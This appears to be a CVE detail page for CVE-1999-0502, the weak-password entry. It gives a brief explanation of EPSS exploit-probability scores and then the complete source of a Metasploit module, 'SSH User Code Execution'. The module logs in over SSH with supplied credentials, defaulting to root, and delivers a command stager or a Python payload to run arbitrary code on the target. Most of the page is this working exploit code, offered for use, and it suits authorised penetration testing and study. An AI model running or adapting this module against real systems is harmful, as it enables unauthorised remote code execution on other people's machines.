CVE-1999-0502 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::SSH attr_accessor :ssh_socket def initialize super( 'Name' => 'SSH User Code Execution', 'Description' => %q{ This module connects to the target system and executes the necessary commands to run the specified payload via SSH. If a native payload is specified, an appropriate stager will be used. }, 'Author' => ['Spencer McIntyre', 'Brandon Knight'], 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'PrependFork' => 'true', 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 4096, 'BadChars' => "", 'DisableNops' => true }, 'Platform' => %w{ linux osx python }, 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], [ 'OSX x86', { 'Arch' => ARCH_X86, 'Platform' => 'osx' } ], [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ] ], 'CmdStagerFlavor' => %w{ bourne echo printf }, 'DefaultTarget' => 0, # For the CVE 'DisclosureDate' => 'Jan 01 1999' ) register_options( [ OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]), OptString.new('RHOST', [ true, "The target address" ]), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]) ] ) end def execute_command(cmd, opts = {}) vprint_status("Executing #{cmd}") begin Timeout.timeout(3) do self.ssh_socket.exec!("#{cmd}\n") end rescue ::Exception end end def do_login(ip, user, pass, port) factory = ssh_socket_factory opt_hash = { :auth_methods => ['password', 'keyboard-interactive'], :port => port, :use_agent => false, :config => false, :password => pass, :proxy => factory, :non_interactive => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin self.ssh_socket = Net::SSH.start(ip, user, opt_hash) rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, 'Failed authentication') rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end if not self.ssh_socket fail_with(Failure::Unknown, 'Failed to start SSH socket') end return end def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...") if target['Platform'] == 'python' execute_command("python -c \"#{payload.encoded}\"") else execute_cmdstager({:linemax => 500}) end self.ssh_socket.close end end